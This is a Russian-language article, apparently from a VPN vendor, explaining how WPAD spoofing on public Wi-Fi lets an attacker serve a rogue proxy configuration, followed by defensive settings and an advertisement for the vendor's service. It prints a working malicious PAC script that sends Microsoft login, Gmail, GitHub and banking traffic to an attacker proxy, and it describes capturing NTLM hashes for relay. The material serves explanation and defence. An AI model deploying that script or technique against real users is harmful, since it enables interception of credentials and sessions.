Вы садитесь за столик в кафе на оживленном вокзале, подключаете рабочий ноутбук к бесплатному общедоступному Wi-Fi и открываете браузер, чтобы проверить почту. В адресной строке привычно светится значок защищенного соединения HTTPS. Система не выдавала предупреждений об ошибках сертификатов, вы не устанавливали подозрительных профилей конфигурации и не переходили по сомнительным ссылкам. Все кажется полностью безопасным. Однако без единого уведомления на экране операционная система самостоятельно скачала конфигурационный файл JavaScript с чужого устройства в этом же зале, назначила это устройство центральным прокси-сервером для ваших веб-сессий и направила конфиденциальные сессионные куки прямо через шлюз перехвата злоумышленника.

В основе этой скрытой атаки лежит не эксплойт нулевого дня и не подбор паролей. Злоумышленники используют устаревший протокол конца 1990-х годов, который по-прежнему активен по умолчанию на сотнях миллионов современных компьютеров: протокол автоматического обнаружения веб-прокси (Web Proxy Auto-Discovery, WPAD).

Архитектура протокола: Удобство в ущерб границам безопасности

Чтобы понять природу риска WPAD в публичных сетях, необходимо обратиться к истории его создания. В эпоху бурного развития корпоративных сетей в конце 1990-х годов администраторам требовался простой способ направлять веб-трафик сотрудников через внутренние кэширующие и фильтрующие прокси без необходимости вручную настраивать параметры на каждом компьютере.

Спецификация, оформленная в виде черновика IETF в 1999 году, предложила механизм, работающий полностью в фоновом режиме. Каждый раз, когда компьютер подключается к новой сети, сетевой стек запускает автоматическую цепочку запросов с целью ответить на один вопрос: "Где находится файл автоматической настройки прокси (Proxy Auto-Configuration, PAC) для этой сети?"

[ Ноутбук пользователя ]
       |
       | 1. Запрос DHCP Inform (Option 252) -> "Где лежит wpad.dat?"
       +---------------------------------------------> [ Локальный сетевой шлюз ]
       |                                                    (Нет ответа)
       | 2. Запрос DNS: wpad.local / wpad.cafe.internal
       +---------------------------------------------> [ Локальный DNS-резолвер ]
       |                                                    (Ошибка NXDOMAIN)
       | 3. Широковещательный опрос: LLMNR / NetBIOS "WPAD"
       +---------------------------------------------> [ Вся локальная подсеть Wi-Fi ]
                                                             |
                                                             v
                                               [ Злоумышленник в той же сети ]
                                               (Отвечает: "Я WPAD! Загружай мой PAC-файл!")

Главная уязвимость заложена в каскадной модели поиска. Если основной сетевой шлюз не дает ответа, операционная система расширяет поиск, переходя от адресных запросов к широковещательным вызовам по всей локальной сети.

Каскад поиска WPAD: Открытые двери для злоумышленника

Когда Windows или браузеры пытаются определить параметры прокси, они выполняют следующую строгую последовательность шагов:

1. Опция DHCP 252

Сразу после подключения клиент отправляет пакет DHCPINFORM, опрашивая локальный DHCP-сервер о наличии параметра Option 252. Если он задан, возвращается прямой URL к конфигурационному файлу, например http://192.168.1.1/wpad.dat. Домашние и публичные маршрутизаторы практически никогда не настраивают эту опцию, поэтому первый этап завершается неудачей.

2. Иерархическое разрешение через DNS

Если опция DHCP 252 пуста, система пытается разрешить имя хоста wpad с учетом текущих поисковых суффиксов домена. Например, если в сети присвоен суффикс corp.local, отправляется запрос на wpad.corp.local. При неудаче проверяется имя wpad.local. В публичных сетях с нестандартными суффиксами этот механизм может отправлять запросы в глобальные домены верхнего уровня (такие как wpad.com), создавая коллизию имен, о которой отдельно предупреждал координационный центр CERT/CC.

3. Локальные протоколы LLMNR и NetBIOS

Если DNS возвращает статус отсутствия записи (NXDOMAIN), компьютер переходит к финальному и наиболее уязвимому уровню: локальному широковещанию. Операционная система отправляет UDP-запрос всем устройствам в подсети Wi-Fi с вопросом: "Кто в этой сети знает IP-адрес для WPAD?"

В общедоступной сети Wi-Fi атакующий, использующий инструменты автоматизированного анализа сетевых запросов вроде Responder или Inveigh, постоянно отслеживает такие обращения. Как только ваш ноутбук запрашивает wpad, устройство атакующего мгновенно откликается: "Я и есть wpad. Забирай файл конфигурации с моего сервера: 192.168.1.145/wpad.dat."

Компьютер жертвы доверяет этому ответу, обращается к веб-серверу злоумышленника, загружает файл wpad.dat и применяет параметры перенаправления трафика ко всей системе.

Структура вредоносного файла PAC: Точечное перенаправление

Файл PAC — это не статический список адресов, а полноценная программа на JavaScript, содержащая обязательную функцию: FindProxyForURL(url, host).

Каждый раз, когда система собирается загрузить сетевой ресурс, вызывается эта функция. Злоумышленник может гибко настроить логику маршрутизации:

function FindProxyForURL(url, host) {
    // Локальный трафик пропускаем напрямую, чтобы не вызывать подозрений
    if (isPlainHostName(host) || dnsDomainIs(host, ".local")) {
        return "DIRECT";
    }

    // Перенаправляем ценные сервисы авторизации, почту и банковские порталы
    if (dnsDomainIs(host, "login.microsoftonline.com") ||
        dnsDomainIs(host, "mail.google.com") ||
        dnsDomainIs(host, "github.com") ||
        shExpMatch(host, "*bank*")) {
        return "PROXY 192.168.1.145:8080; DIRECT";
    }

    // Остальные сайты направляем напрямую в Интернет
    return "DIRECT";
}

Направляя на свой прокси только критически важные домены и позволяя остальному трафику идти обычным путем, злоумышленник добивается высокой скорости соединения, благодаря чему пользователь не замечает задержек или разрывов связи.

Что перехватывает злоумышленник

Когда веб-трафик проходит через подконтрольный прокси:

  • Открытый трафик HTTP: Доступен полностью, включая пароли учетных записей, токены авторизации и адреса страниц.
  • Зашифрованные соединения HTTPS: Даже при использовании TLS поддельный прокси принимает исходный запрос HTTP CONNECT. Это раскрывает имя посещаемого сервера (SNI), порт, время и объем передаваемых данных.
  • Понижение аутентификации и передача NTLM: Службы Windows часто автоматически выполняют проверку подлинности через NTLM или Kerberos при взаимодействии с прокси. Поддельный узел может запросить заголовок Proxy-Authenticate: NTLM, перехватить криптографический хэш учетных данных пользователя и применить его для атак ретрансляции хэша в корпоративной среде.

Комплексная защита: Отключение скрытой ловушки WPAD

Надежная защита от атак через протокол WPAD требует отключения функций автоматического обнаружения в операционной системе и изоляции сетевого соединения в зашифрованном канале.

1. Отключение автоматического определения параметров сети

Если вы не работаете в корпоративной сети, где использование WPAD строго регламентировано политиками безопасности, автообнаружение следует выключить:

  • В Windows 11 и 10: Откройте Параметры, перейдите в раздел Сеть и Интернет > Прокси-сервер. В блоке Автоматическая настройка прокси переведите переключатель Автоматически определять параметры в положение Откл.
  • В macOS: Перейдите в Системные настройки, откройте раздел Сеть, выберите активное подключение Wi-Fi, нажмите Подробнее > Прокси и убедитесь, что флажки Автоматическое обнаружение прокси и Автонастройка прокси сняты.
  • В веб-браузерах: В Firefox откройте Настройки > Основные > Параметры сети и укажите режим Без прокси либо использование системных настроек.

2. Отключение протоколов LLMNR и NetBIOS

Запрет отправки широковещательных запросов лишает злоумышленников возможности присылать поддельные ответы:

  • Откройте Редактор локальной групповой политики (gpedit.msc).
  • Перейдите в раздел Конфигурация компьютера > Административные шаблоны > Сеть > DNS-клиент.
  • Найдите параметр Отключить разрешение многоадресных имен и установите значение Включено.

3. Полная изоляция трафика с помощью VPNRice

Несмотря на ручные изменения настроек операционной системы, отдельные приложения и фоновые процессы могут игнорировать системные параметры и продолжать самостоятельный поиск прокси. Наиболее действенный метод защиты на открытых сетях Wi-Fi — направление всех исходящих данных через зашифрованный туннель VPNRice.

Подключение через VPNRice с применением протоколов RiceGuard или RiceGuardX устраняет вектор локальных атак:

  • Исключение перехвата локальным шлюзом: Все сетевые пакеты упаковываются в защищенную криптографическую оболочку до выхода из беспроводного адаптера. Поддельные серверы DHCP и анализаторы трафика в Wi-Fi не могут передать ложные ответы WPAD или повлиять на маршрут данных.
  • Собственные зашифрованные DNS-серверы: Разрешение доменных имен происходит исключительно через изолированные резолверы VPNRice, что исключает запросы через LLMNR и отравление локального DNS.
  • Полная изоляция конечной точки: Встроенные механизмы фильтрации трафика блокируют взаимодействие с посторонними узлами в публичной сети Wi-Fi, не позволяя перенаправлять сессии через сторонние прокси-узлы.

Чтобы убедиться, что ваша система не передает локальные сетевые параметры через интерфейсы браузера, выполните тест на утечку WebRTC от VPNRice и проверьте параметры внешнего маршрута с помощью нашего инструмента проверки IP-адреса. Отключение устаревших механизмов автообнаружения в сочетании со стойким шифрованием VPN сохраняет конфиденциальность вашей работы в любых общественных сетях.